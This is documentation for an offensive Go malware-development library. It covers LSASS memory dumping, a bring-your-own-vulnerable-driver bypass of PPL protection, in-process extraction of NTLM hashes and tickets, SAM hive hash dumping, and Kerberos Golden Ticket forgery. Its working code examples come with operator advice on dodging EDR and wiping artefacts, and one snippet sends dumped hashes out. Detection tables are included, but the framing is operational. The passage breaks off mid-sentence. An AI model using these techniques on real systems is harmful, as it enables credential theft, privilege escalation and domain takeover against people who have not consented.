SE -.krbtgt hash.-> GT
SD --> OUT[NTLM hashes / pwdump]
SE --> OUT2[NTLM / Kerberos / DPAPI<br>/ CloudAP PRT / etc.]
GT --> KIRBI[kirbi blob<br>+ LSA cache inject]
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
credentials/lsassdump | lsassdump.md | noisy | NtGetNextProcess + in-process MINIDUMP + EPROCESS PPL unprotect via RTCore64 |
credentials/sekurlsa | sekurlsa.md | quiet (parser only) | Pure-Go MSV1_0 / Wdigest / Kerberos / DPAPI / TSPkg / CloudAP / LiveSSP / CredMan walkers + LSA-crypto unwrap + PTH write-back + Kerberos kirbi export |
credentials/samdump | samdump.md | quiet (offline) / noisy (LiveDump) | Offline SAM hive dump — REGF parser + boot-key permutation + AES/RC4 hashed-bootkey + per-RID DES de-permutation |
credentials/goldenticket | goldenticket.md | noisy (visible TGT lifetime) | PAC marshaling + KRB5 Forge + LSA Submit for Golden Ticket attacks |
Quick decision tree
| You want to… | Use |
|---|---|
| …get NTLM hashes / Kerberos tickets from a live host | lsassdump → sekurlsa.Parse chain |
…parse a .dmp you obtained out-of-band | sekurlsa.Parse |
| …dump SAM offline (no LSASS access) | samdump.Dump |
| …acquire SAM/SYSTEM live (loud) | samdump.LiveDump |
| …forge a Golden Ticket | goldenticket.Forge → Submit |
| …pass-the-hash into a live LSASS | sekurlsa.Pass / PassImpersonate |
| …pass-the-ticket | sekurlsa.KerberosTicket.ToKirbi → goldenticket.Submit |
| …bypass PPL on lsass.exe | lsassdump.Unprotect + kernel/driver/rtcore64 |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | credentials/lsassdump, credentials/sekurlsa | D3-PSA, D3-SICA |
| T1003.002 | OS Credential Dumping: SAM | credentials/samdump | D3-PSA, D3-FCA |
| T1068 | Exploitation for Privilege Escalation | credentials/lsassdump (PPL bypass via BYOVD) | D3-SICA |
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | credentials/sekurlsa | D3-PSA, D3-SICA |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | credentials/sekurlsa, credentials/goldenticket | D3-NTA |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | credentials/goldenticket | D3-AZET, D3-NTA |
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | credentials/sekurlsa (downstream consumer) | D3-NTA |
See also
- Operator path: credential harvest scenario
- Detection eng path: credential-access artifacts
kernel/driver/rtcore64— BYOVD primitive for PPL unprotectevasion/stealthopen— path-based file-hook bypass forntoskrnl.exediscovery readsrecon/shadowcopy— VSS-based hive acquisition forsamdump
LSASS minidump (live)
← credentials index · docs/index
TL;DR
Produce a Windows MINIDUMP of lsass.exe's memory in-process —
without calling MiniDumpWriteDump (the heavily-hooked DbgHelp
export). Walks regions + modules with NtReadVirtualMemory,
emits the canonical 6-stream MINIDUMP layout, and ships a
RTCore64-driven kernel path to flip lsass out of PPL when
RunAsPPL=1. The dump is consumed by credentials/sekurlsa.
Primer
LSASS holds the cleartext Kerberos password material, NTLM hashes, DPAPI master keys, TGT cache, CloudAP PRT, and TSPkg/RDP plaintext. Every credential-dumping tool eventually wants its memory.
The classic path is MiniDumpWriteDump from dbghelp.dll; modern
EDRs hook every interesting call inside that function. The
lsassdump package skips the hook surface entirely:
- Locate lsass via
NtGetNextProcess(noOpenProcess/CreateToolhelp32Snapshot/EnumProcesses). - Walk the target's VAD via
NtQueryVirtualMemoryto enumerate committed regions. - Walk the loaded modules via
NtQueryInformationProcess(ProcessLdr…)parsing the PEB'sLdr.InMemoryOrderModuleList. - Read each region's bytes with
NtReadVirtualMemory. - Emit a 6-stream MINIDUMP (Header, SystemInfo, ModuleList,
Memory64List, MemoryInfoList, ThreadList stub) directly to an
io.Writer.
Every Nt* call accepts an optional *wsyscall.Caller (nil =
WinAPI fallback) so the operator can route through direct or
indirect syscalls and bypass user-mode hooks.
PPL stands separate: when RunAsPPL=1 (Win 11 default) the
kernel rejects PROCESS_VM_READ regardless of token privileges.
The package ships a kernel-level bypass via
kernel/driver/rtcore64: zero EPROCESS.Protection byte
(temporarily), open lsass, restore the byte. The Discover*
helpers parse ntoskrnl.exe PE prologues to derive the EPROCESS
field offsets without hand-curated tables.
How It Works
flowchart TD
subgraph PPL [PPL bypass — optional, only if RunAsPPL]
D1[DiscoverProtectionOffset<br>parse PsIsProtectedProcess]
D2[DiscoverUniqueProcessIdOffset<br>parse PsGetProcessId]
D3[DiscoverInitialSystemProcessRVA<br>find PsInitialSystemProcess]
D1 --> FE[FindLsassEProcess<br>walk PsActiveProcessLinks]
D2 --> FE
D3 --> FE
FE --> UN[Unprotect<br>zero Protection byte<br>via RTCore64]
end
UN -. removes PPL bit .-> OPEN
OPEN[OpenLSASS<br>NtGetNextProcess + access mask] --> ENUM[collectRegions / collectModules<br>NtQueryVirtualMemory<br>+ ProcessLdrInformation]
ENUM --> RD[Dump<br>stream regions to writer<br>via NtReadVirtualMemory]
RD --> DMP[MINIDUMP blob]
DMP --> SK[credentials/sekurlsa<br>parses extracts]
UN -. after dump .-> RP[Reprotect<br>restore Protection byte]
Implementation details:
OpenLSASSwalks the system's process list withNtGetNextProcess— no public-API call ever names lsass by string. The PID is resolved by reading the EPROCESS or viaNtQueryInformationProcess(ProcessBasicInformation).- The Memory64List stream is the bulk of the dump — every
committed region's
BaseAddress + RegionSize + RawData. The package writes the directory entry first, then streams payload bytes through the writer to keep RAM usage flat regardless of lsass size (~80–600 MB on modern boxes). Statsreports per-pass counters (regions, modules, bytes read, bytes skipped) so the operator can spot incomplete dumps before parsing.DiscoverProtectionOffsetcross-validates two prologue patterns (PsIsProtectedProcess+PsIsProtectedProcessLight) and returns the EPROCESS byte offset only when both agree — falsey matches at runtime would otherwise corrupt EPROCESS.Unprotectkeeps the original Protection value inPPLTokensoReprotectcan restore it. Aborting between the two leaves lsass unprotected; defer the call.
API Reference
type Stats
| Field | Type | Description |
|---|---|---|
Regions | int | Committed regions enumerated |
Modules | int | Loaded modules enumerated |
BytesRead | int64 | Total bytes copied into the dump |
BytesSkipped | int64 | Region bytes that NtReadVirtualMemory refused (guard pages, deleted views) |
type PPLOffsetTable / type PPLToken
PPLOffsetTable carries the per-build EPROCESS field offsets
(populated by the Discover*Offset helpers). PPLToken is the
opaque return value from Unprotect, opaquely encoding the
original Protection bytes so Reprotect can restore them.
Sentinel errors
| Error | Trigger |
|---|---|
ErrLSASSNotFound | NtGetNextProcess walk completed without seeing lsass |
ErrOpenDenied | Access denied — admin? token? PPL active? |
ErrPPL | lsass is PPL-protected; need driver-assisted Unprotect |
ErrLsassEProcessNotFound | PsActiveProcessLinks walk did not match the lsass PID |
ErrInvalidEProcess / ErrInvalidProtectionOffset | Upstream lookup returned zero — populate PPLOffsetTable for the build |
ErrProtectionOffsetNotFound | PsIsProtectedProcess prologue didn't match expected movzx eax, [rcx+disp32] |
OpenLSASS(caller *wsyscall.Caller) (uintptr, error) (Windows)
Resolve and open lsass.exe via NtGetNextProcess. Returns a raw
handle (uintptr cast for cross-package interop). Caller must
CloseLSASS.
CloseLSASS(h uintptr) error (Windows)
NtClose wrapper.
LsassPID(caller *wsyscall.Caller) (uint32, error) (Windows)
Resolve lsass.exe's PID without opening it. Used by the PPL bypass path to find the EPROCESS to unprotect.
Dump(h uintptr, w io.Writer, caller *wsyscall.Caller) (Stats, error) (Windows)
Emit MINIDUMP bytes to w for the process referenced by h.
w may be a file, a bytes.Buffer, or an encrypted/transport
stream — the dump is stream-friendly (writes flow directly out).
DumpToFile(path string, caller *wsyscall.Caller) (Stats, error) (Windows)
Convenience: OpenLSASS + Dump(h, file, caller) + Sync +
Close.
DumpToFileVia(creator stealthopen.Creator, path string, caller *wsyscall.Caller) (Stats, error) (Windows)
Same as DumpToFile but routes the on-disk landing through the
operator-supplied stealthopen.Creator.
nil falls back to a *StandardCreator (plain os.Create — identical
to DumpToFile); non-nil layers transactional NTFS, encrypted
streams, ADS, or any operator-controlled write primitive on top of
the minidump landing. The minidump byte stream itself is unchanged
— Dump(h, w, caller) writes into the WriteCloser the Creator
returns. os.File-only Sync is best-effort: when the Creator
returns something other than *os.File, durability semantics are
delegated to the Creator's Close.
Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable) (PPLToken, error)
Zero EPROCESS.Protection (and the SignatureLevel siblings) via
the supplied kernel ReadWriter (typically RTCore64). Returns
the original bytes for Reprotect.
Reprotect(rw driver.ReadWriter, tok PPLToken) error
Restore Protection / SignatureLevel from tok. Always defer
this call.
FindLsassEProcess(rw driver.ReadWriter, lsassPID uint32, opener stealthopen.Opener, caller *wsyscall.Caller) (uintptr, error)
Walk PsActiveProcessLinks via the kernel ReadWriter and return
the EPROCESS VA matching lsassPID. Combines the Discover*
helpers internally.
Discover* family
Pure-Go on-disk PE parsing — runs cross-platform. Each helper
accepts a stealthopen.Opener (nil = os.Open) so the
ntoskrnl.exe read can route through an EDR-bypass file
strategy.
| Helper | Returns |
|---|---|
DiscoverProtectionOffset(path, opener) | EPROCESS.Protection byte offset |
SignatureLevelOffset(prot) | prot − 2 |
SectionSignatureLevelOffset(prot) | prot − 1 |
DiscoverUniqueProcessIdOffset(path, opener) | UniqueProcessId offset |
DiscoverActiveProcessLinksOffset(upid) | upid + sizeof(HANDLE) (8 on x64) |
DiscoverInitialSystemProcessRVA(path, opener) | RVA of PsInitialSystemProcess export in ntoskrnl |
Examples
Simple — dump unprotected lsass to file
import (
"fmt"
"github.com/oioio-space/maldev/credentials/lsassdump"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
stats, err := lsassdump.DumpToFile(`C:\Users\Public\lsass.dmp`, caller)
if err != nil {
panic(err)
}
fmt.Printf("dumped %d regions, %d MB\n", stats.Regions, stats.BytesRead>>20)
Composed — dump in-memory + parse without disk
Pipe the MINIDUMP through a bytes.Buffer straight into
sekurlsa.Parse:
import (
"bytes"
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/credentials/sekurlsa"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
if err != nil {
panic(err)
}
defer lsassdump.CloseLSASS(h)
var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, caller); err != nil {
panic(err)
}
res, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
panic(err)
}
defer res.Wipe()
Advanced — PPL bypass via RTCore64
When RunAsPPL=1, drop the protection byte through a kernel
ReadWriter, dump, restore.
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
drv, err := rtcore64.Load(rtcore64.LoadOptions{})
if err != nil {
panic(err)
}
defer drv.Unload()
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
pid, _ := lsassdump.LsassPID(caller)
ep, err := lsassdump.FindLsassEProcess(drv, pid, nil, caller)
if err != nil {
panic(err)
}
protOff, _ := lsassdump.DiscoverProtectionOffset("", nil)
tab := lsassdump.PPLOffsetTable{Protection: protOff}
tok, err := lsassdump.Unprotect(drv, ep, tab)
if err != nil {
panic(err)
}
defer lsassdump.Reprotect(drv, tok) //nolint:errcheck
if _, err := lsassdump.DumpToFile(`C:\Users\Public\ppl-lsass.dmp`, caller); err != nil {
panic(err)
}
See ExampleDumpToFile.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
OpenProcess(lsass, PROCESS_VM_READ) | Sysmon Event 10 (process access); the canonical "credential dumping" signal — fires regardless of which API surfaced the open |
Sustained NtReadVirtualMemory against lsass | EDR memory-access telemetry |
| Driver load (RTCore64) | Sysmon Event 6 (driver loaded), Microsoft vulnerable-driver blocklist |
Write of a .dmp file | EDR file-write heuristics flagging dump files in user-writable paths |
Calls to MiniDumpWriteDump | DbgHelp hook (we don't use it — but the absence is itself a tell) |
| EPROCESS.Protection byte transition | ETW Threat-Intelligence provider (Win11 22H2+) |
D3FEND counters:
- D3-PSA — flags driver-load + lsass-open combos.
- D3-SICA — kernel-driver load auditing.
- D3-FCA — MINIDUMP magic on disk.
Hardening for the operator:
- Stream the dump through a
bytes.Buffer+sekurlsa.Parsein-process — no.dmpfile ever lands. - Route Nt* through indirect syscalls (
wsyscall.MethodIndirect). - Open lsass with the minimum access mask the dump needs
(
PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION). - Defer
Reprotect— never leave lsass unprotected on a crash path.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | full — region walk + MINIDUMP build | D3-PSA, D3-SICA |
| T1068 | Exploitation for Privilege Escalation | partial — PPL bypass via signed-but-vulnerable driver | D3-SICA |
Limitations
- Windows-only build/dump pipeline. Pure Go on-disk PE
parsing (
Discover*) runs cross-platform — analysts can resolve EPROCESS offsets from a capturedntoskrnl.exeon Linux/CI. - No WoW64 dumps. Modern lsass is x64; legacy WoW64 not supported.
- Driver visibility. RTCore64 is a Microsoft-blocklisted vulnerable driver as of recent vulnerable-driver blocklist updates; on hardened systems the driver load itself is blocked. Plan for vBO (very few alternative drivers) or alternative PPL bypasses.
- No thread context capture. ThreadList is a stub — full
per-thread context is not emitted. sekurlsa doesn't need it;
some legacy tooling (windbg
!analyze) does. - Protection-byte race. Between
UnprotectandOpenLSASSthere is a microsecond window where lsass is unprotected. Defenders with continuous EPROCESS monitoring (rare) can spot the transition.
See also
credentials/sekurlsa— parses the produced MINIDUMP.credentials/goldenticket— downstream consumer of an extracted krbtgt hash.kernel/driver/rtcore64— PPL-bypass driver primitive.evasion/stealthopen— path-based file-hook bypass forntoskrnl.exereads.win/syscall— direct/indirect syscall caller used throughout this package.- Operator path.
- Detection eng path — LSASS dump telemetry.
LSASS Parsing — In-Process Credential Extraction
← Credentials area README · docs/index
MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory
Package: credentials/sekurlsa
Platform: Cross-platform (pure Go)
Detection: Low — runs entirely in the implant's own address space, no Win32 calls
Primer
credentials/lsassdump (the producer, see
lsass-dump.md) captures lsass.exe's
memory into a MINIDUMP blob. To use the blob the operator
historically had to round-trip it through mimikatz on a different
host or pypykatz on a Linux analyst box — which means exfil-ing a
50 MB+ file, leaving it on disk somewhere, and depending on a Python
runtime + 50 MB of crypto deps for the analyst.
credentials/sekurlsa is the consumer — pure-Go MINIDUMP
parsing + in-process credential extraction, so the implant pipeline
becomes:
PROCESS_VM_READ → MINIDUMP bytes (in-memory) → MSV1_0 hashes (in-memory) → wipe
No disk artefact. No exfil. No external dependency.
v1 (v0.23.0) extracts MSV1_0 NTLM hashes — the dominant pivot for pass-the-hash workflows. WDigest plaintext, Kerberos tickets, and DPAPI master keys are scoped follow-ups on top of v1's LSA-key extraction layer.
How It Works
sequenceDiagram
participant Caller
participant Parse as "sekurlsa.Parse"
participant Reader as "MINIDUMP reader"
participant Crypto as "LSA crypto"
participant Walker as "MSV1_0 walker"
Caller->>Parse: Parse(reader, size)
Parse->>Reader: openReader → header + directory + 4 streams
Reader-->>Parse: SystemInfo, Modules, Memory64List
Parse->>Parse: templateFor(BuildNumber)
Parse->>Reader: ModuleByName("lsasrv.dll") + ("msv1_0.dll")
Parse->>Crypto: extractLSAKeys(lsasrv, template)
Crypto->>Reader: ReadVA(lsasrv.Base, lsasrv.Size)
Crypto->>Crypto: findPattern(IV/3DES/AES) + derefRel32 + readPointer
Crypto->>Crypto: parseBCryptKeyDataBlob → crypto.cipher.Block
Crypto-->>Parse: *lsaKey (IV + AES + 3DES)
Parse->>Walker: extractMSV1_0(msv1_0, template, keys)
Walker->>Walker: derefRel32 → LogonSessionList head VA
loop for each bucket × Flink chain
Walker->>Reader: ReadVA(node, NodeSize)
Walker->>Reader: ReadVA(UNICODE_STRING.Buffer)
Walker->>Reader: ReadVA(PrimaryCredentials.Buffer)
Walker->>Crypto: decryptLSA(ciphertext, lsaKey)
Walker->>Walker: parseMSV1_0Primary → NT/LM/SHA1
end
Walker-->>Parse: []LogonSession
Parse-->>Caller: *Result
The crypto layer mirrors BCryptKeyDataBlobImport's logic: parse a
12-byte BCRYPT_KEY_DATA_BLOB_HEADER (magic KDBM, version 1,
cbKeyData), then import the trailing payload into crypto/aes (16
bytes) or crypto/des (24 bytes). The IV is plain bytes, no header.
CBC decryption picks the cipher by ciphertext alignment: 16-aligned goes through AES, 8-aligned-but-not-16 goes through 3DES. Same heuristic pypykatz uses.
Simple Example
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/credentials/sekurlsa"
)
func main() {
result, err := sekurlsa.ParseFile(`C:\ProgramData\Intel\snapshot.dmp`)
if err != nil {
log.Fatal(err)
}
defer result.Wipe()
fmt.Printf("Build %d %s — %d sessions\n",
result.BuildNumber, result.Architecture, len(result.Sessions))
for _, s := range result.Sessions {
for _, c := range s.Credentials {
if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
fmt.Println(msv.String()) // pwdump format
}
}
}
}
Result.Wipe overwrites every hash buffer in place after the
caller's loop — pair with cleanup/memory.SecureZero on any other
slice you held the hash bytes in.
Advanced — registering a custom Template
When the dump's BuildNumber doesn't match a registered template,
Parse returns (partial Result, ErrUnsupportedBuild). The partial
result still carries BuildNumber + Architecture + Modules so
the operator can detect the gap, register a template, and retry:
package main
import (
"errors"
"log"
"github.com/oioio-space/maldev/credentials/sekurlsa"
)
func init() {
// Win11 24H2 (build 26100) — patterns derived offline from the
// Microsoft-shipped lsasrv.dll for this CU. See README.md for
// the workflow.
_ = sekurlsa.RegisterTemplate(&sekurlsa.Template{
BuildMin: 26100,
BuildMax: 26100,
IVPattern: []byte{ /* operator-derived bytes */ },
IVOffset: 0x3F,
Key3DESPattern: []byte{ /* … */ },
Key3DESOffset: -0x59,
KeyAESPattern: []byte{ /* … */ },
KeyAESOffset: 0x10,
LogonSessionListPattern: []byte{ /* … */ },
LogonSessionListOffset: 0x17,
LogonSessionListCount: 64,
MSVLayout: sekurlsa.MSVLayout{
NodeSize: 0x110,
LUIDOffset: 0x10,
UserNameOffset: 0x90,
LogonDomainOffset: 0xA0,
LogonServerOffset: 0xB0,
LogonTypeOffset: 0xC8,
CredentialsOffset: 0xD8,
},
})
}
func main() {
result, err := sekurlsa.ParseFile("snapshot.dmp")
switch {
case errors.Is(err, sekurlsa.ErrUnsupportedBuild):
log.Fatalf("build %d not covered; register a template", result.BuildNumber)
case errors.Is(err, sekurlsa.ErrLSASRVNotFound):
log.Fatal("dump missing lsasrv.dll module — wrong process?")
case err != nil:
log.Fatal(err)
}
defer result.Wipe()
log.Printf("extracted %d sessions on build %d", len(result.Sessions), result.BuildNumber)
}
Composed — Producer + Consumer in one process
The point of a pure-Go consumer: dump → extract → wipe without ever touching disk or shipping a second binary to the operator.
package main
import (
"bytes"
"fmt"
"log"
"github.com/oioio-space/maldev/credentials/sekurlsa"
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/cleanup/memory"
)
func main() {
// 1. Open lsass.
h, err := lsassdump.OpenLSASS(nil) // nil = standard WinAPI; pass a *wsyscall.Caller for stealthier syscalls
if err != nil {
log.Fatal(err)
}
defer lsassdump.CloseLSASS(h)
// 2. Dump into an in-memory buffer.
var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, nil); err != nil {
log.Fatal(err)
}
// 3. Parse the bytes still in memory.
result, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
log.Fatal(err)
}
defer result.Wipe()
// 4. Use the credentials.
for _, s := range result.Sessions {
for _, c := range s.Credentials {
if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
fmt.Println(msv.String())
}
}
}
// 5. Wipe the dump bytes from the Go heap.
memory.SecureZero(buf.Bytes())
}
Layered with PPL bypass via BYOVD when the lsass process is RunAsPPL=1:
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/credentials/sekurlsa"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
// 1. Bring up RTCore64 driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()
// 2. EPROCESS unprotect lsass — caller resolves the EPROCESS via
// an upstream walk (see lsass-dump.md).
tok, _ := lsassdump.Unprotect(&d, lsassEProcess, lsassdump.PPLOffsetTable{
Build: 19045, ProtectionOffset: 0x87A,
})
defer lsassdump.Reprotect(tok, &d)
// 3. Open + Dump + Parse — same as above. With PS_PROTECTION zeroed,
// the userland NtOpenProcess(VM_READ) succeeds.
Limitations
- Templates required. v1 ships the framework; per-build templates
ship under any license as community contributions verified against
real dumps. The
RegisterTemplate(t)opt-in lets operators ship their own without forking. - MSV1_0 only. WDigest, Kerberos, DPAPI, LiveSSP / TSPkg / CloudAP are each their own follow-up chantier on top of v1's crypto layer.
- x64 only. WoW64 32-bit dumps are vanishingly rare on modern Windows and not in v1 scope.
- Credential Guard / LSAISO sessions appear in the list but the
payloads are kernel-isolated ciphertext — surfaced as
Result.Warnings, not fatal errors. - No live-process attach. A
mimikatz!sekurlsa-style direct attach to lsass is a separate chantier (credentials/lsalive) that needs PPL bypass + much louder OPSEC. The dump-then-parse pipeline gives most of the value with a fraction of the noise. .kirbiexport composes viastealthopen.Creator.(*KerberosTicket).ToKirbiFile(dir)lands the file via plainos.Create; pair withToKirbiFileVia(creator, dir)to route the write through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, rawNtCreateFile). Same[]bytecontent; same filename.
API Reference
See docs/credentials.md for the inline API
reference. Sentinel errors (ErrNotMinidump, ErrUnsupportedBuild,
ErrLSASRVNotFound, ErrMSV1_0NotFound, ErrKeyExtractFailed) are
all errors.Is-dispatchable.
See also
- Credentials area README
credentials/lsassdump— producer counterpart (dump LSASS so this parser has bytes to chew)credentials/goldenticket— feed the extracted krbtgt hash directly into Forge
SAM hive dump
← credentials index · docs/index
TL;DR
Decrypt local NT hashes from a Windows SAM hive (with SYSTEM
supplying the boot key). Pure-Go REGF parser + AES/RC4/DES crypto;
runs cross-platform once the operator has the hive bytes in hand.
LiveDump shells out to reg save for live acquisition (Windows-only,
loud on EDR).
Primer
Local Windows accounts live in the SAM registry hive under
SAM\Domains\Account. Each user's NT/LM hash is stored encrypted —
two layers of crypto stand between the on-disk bytes and a usable
hash:
- The boot key (syskey) is split across four
Lsa\{JD,Skew1,GBG,Data}class strings in theSYSTEMhive, permuted at boot to defeat trivial copies. Reassembling it requires the SYSTEM hive. - The boot key encrypts the hashed bootkey stored in
SAM\Domains\Account\F— itself an AES-128-CBC blob keyed onMD5(bootKey || rid_str || qwerty || rid_str)(legacy revision uses RC4). - The hashed bootkey then derives per-user keys (RC4 or AES-128-CBC
depending on the revision tag in
F). Per-user keys decrypt the 16-byte LM and NT hash blobs inSAM\Domains\Account\Users\<RID>\V. - Modern Windows (10 1607+) also wraps the hashes in a final DES permutation keyed on the RID — same algorithm Windows itself uses to look up the hash at logon.
samdump.Dump runs the entire chain in process memory with no
syscalls. The hive bytes can come from anywhere — reg save, VSS
shadow copy, raw NTFS read, recon/shadowcopy, or pulled offline
from a backup. The package itself opens nothing.
How It Works
flowchart TD
SYS[SYSTEM hive bytes] --> EBK[extractBootKey<br>permute Lsa class strings]
EBK -->|16-byte boot key| HBK
SAM[SAM hive bytes] --> RDF[readDomainAccountF<br>AES-encrypted blob]
RDF --> HBK[deriveDomainKey<br>AES-128-CBC]
HBK -->|hashed bootkey| LU
SAM --> LU[listUserRIDs<br>walk Users key]
LU --> PV[parseUserV<br>extract username + LM/NT enc]
PV --> DEC[decryptUserNT / decryptUserLM<br>per-RID DES-permute<br>+ AES-128-CBC or RC4]
DEC --> ACC[Account{Username, RID, NT, LM}]
Implementation details:
- The REGF reader (
hive.go) walks named keys and value records throughnk/vkcells without depending ongolang.org/x/sysor any Windows-only API — cross-platform out of the box. - Per-user failures are accumulated on
Result.Warningsrather than aborting the dump; structural failures (missing boot key, malformedF, noUserskey) returnErrDump. Account.Pwdumprenders the canonicalusername:RID:LM:NT:::format consumed by hashcat (-m 1000), John (--format=NT), CrackMapExec NTLM hash auth, and impacket secretsdump.
API Reference
type Account
One decrypted user record.
| Field | Type | Description |
|---|---|---|
Username | string | UTF-16 decoded sAMAccountName |
RID | uint32 | Relative identifier (numeric SID component) |
LM | []byte | 16-byte LM hash, or nil when inactive |
NT | []byte | 16-byte NT (MD4) hash, or nil when inactive |
Account.Pwdump() formats one secretsdump line. Empty hashes
render as the all-zeros sentinel.
type Result
Aggregate output of a successful dump.
| Field | Type | Description |
|---|---|---|
Accounts | []Account | One entry per user RID |
Warnings | []string | Non-fatal per-user anomalies (parse / decrypt failures, missing optional fields) |
Result.Pwdump() renders the multi-line pwdump file.
Dump(systemHive, systemSize, samHive, samSize) (Result, error)
Run the full offline algorithm. Both readers must support ReadAt
over the entire hive bytes; Dump loads each into memory once. No
syscalls, cross-platform.
Returns: Result with per-user accounts; error wrapping
ErrDump on structural failure.
LiveDump(dir string) (Result, string, string, error) (Windows)
Acquire the live SYSTEM + SAM hives via reg save to dir,
then run Dump against them. Returns the Result plus the on-disk
paths (system.hive, sam.hive) so the operator can re-feed
the files to other tooling without re-acquiring.
Side effects: spawns reg.exe; writes hive files to disk.
Requires admin + SeBackupPrivilege.
Returns: error wrapping ErrLiveDump if reg save or the
underlying Dump fails.
Examples
Simple — offline hives
import (
"fmt"
"os"
"github.com/oioio-space/maldev/credentials/samdump"
)
system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()
sysFI, _ := system.Stat()
samFI, _ := sam.Stat()
res, err := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
if err != nil {
panic(err)
}
fmt.Print(res.Pwdump())
Composed — live host, cleanup, exfil
import (
"os"
"github.com/oioio-space/maldev/credentials/samdump"
"github.com/oioio-space/maldev/cleanup/wipe"
)
dir, _ := os.MkdirTemp("", "")
res, sysPath, samPath, err := samdump.LiveDump(dir)
defer func() {
_ = wipe.File(sysPath)
_ = wipe.File(samPath)
_ = os.RemoveAll(dir)
}()
if err != nil {
panic(err)
}
exfilPwdump(res.Pwdump())
Advanced — VSS shadow-copy acquisition
reg save is loud. For better OPSEC, acquire the hives via VSS
shadow copies through recon/shadowcopy and feed the
files into the offline Dump path:
sc, _ := shadowcopy.Create()
defer sc.Delete()
sysReader, _ := sc.Open(`Windows\System32\config\SYSTEM`)
samReader, _ := sc.Open(`Windows\System32\config\SAM`)
res, err := samdump.Dump(sysReader, sysReader.Size(),
samReader, samReader.Size())
See ExampleDump
for the runnable variant.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
reg save HKLM\SAM / HKLM\SYSTEM | Sysmon Event 1 (process creation) — reg.exe with save is one of the highest-fidelity credential-dumping signals |
Two .hive files written to a writable directory | EDR file-write telemetry; staging directories under %TEMP% are correlated with credential dumping |
RegSaveKeyEx Windows API call | ETW Microsoft-Windows-Kernel-Registry; bypassable via direct NtSaveKey syscall |
Read access to HKLM\SAM SD | Defender ASR rule "Block credential stealing from the Windows local security authority subsystem" (LSA-only, but heuristics overlap) |
D3FEND counters:
- D3-PSA
— flags
reg.exe savelineage. - D3-FCA — REGF magic on disk in atypical paths.
- D3-SICA — registry hive-handle telemetry.
Hardening for the operator:
- Prefer offline acquisition (VSS via
recon/shadowcopy, raw NTFS read, backup files) overLiveDump. - Stage hive bytes through an in-memory
io.ReaderAt(e.g.bytes.NewReader) to avoid the.hivefiles on disk altogether. - Wipe the
dirimmediately after parsing —cleanup/wipe.Filezeroes the bytes before unlinking.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1003.002 | OS Credential Dumping: Security Account Manager | full — offline + LiveDump | D3-PSA, D3-FCA, D3-SICA |
Limitations
- Local accounts only. SAM holds only the workstation's local
users. Domain credentials live in
NTDS.diton the DC; use separate tooling (impacket secretsdump remote, mimikatzlsadump::dcsync). - No history. Earlier NT/LM hashes (password-history feature)
are stored in additional
Vregions not currently parsed. - DPAPI / cached creds out of scope. Domain cached credentials
(
Cache{N}) live inSECURITYhive;SECURITYparsing is not in this package. - LiveDump is loud.
reg.exe savelights up every behavioral EDR. Plan for offline acquisition wherever the operational context allows. - AES revision only validated against Win10 1607+. Older XP/2003 RC4-keyed hives use the legacy code path; tested less recently.
See also
- LSASS dump (live process memory) — cousin path for live cached credentials.
credentials/sekurlsa— companion LSASS extractor.recon/shadowcopy— VSS-based hive acquisition.cleanup/wipe— secure deletion of the on-disk hive copies.- Operator path — credential-harvest decision tree.
- Detection eng path — SAM-dump telemetry.
Kerberos Golden Ticket
← credentials index · docs/index
TL;DR
Forge a long-lived Kerberos TGT off a stolen krbtgt hash. Forge
marshals a KRB-CRED blob with a custom PAC (Domain Admins,
arbitrary lifetime) and signs it with the krbtgt's RC4-HMAC /
AES128-CTS / AES256-CTS key. Submit injects the kirbi into the
calling user's LSA cache so subsequent Kerberos auth uses the
forged TGT.
Primer
Kerberos TGTs are signed by krbtgt, a domain-wide service account
whose long-term key never leaves a domain controller. Anyone
holding the krbtgt key can mint a TGT for any principal — there is
no online check until the next krbtgt rotation. Microsoft
recommends rotating krbtgt twice per year; in the wild it is
typically rotated never.
The forged TGT carries a Privilege Attribute Certificate (PAC)
inside its EncTicketPart. The PAC is the authorization data: it
declares which groups the principal belongs to. By forging the
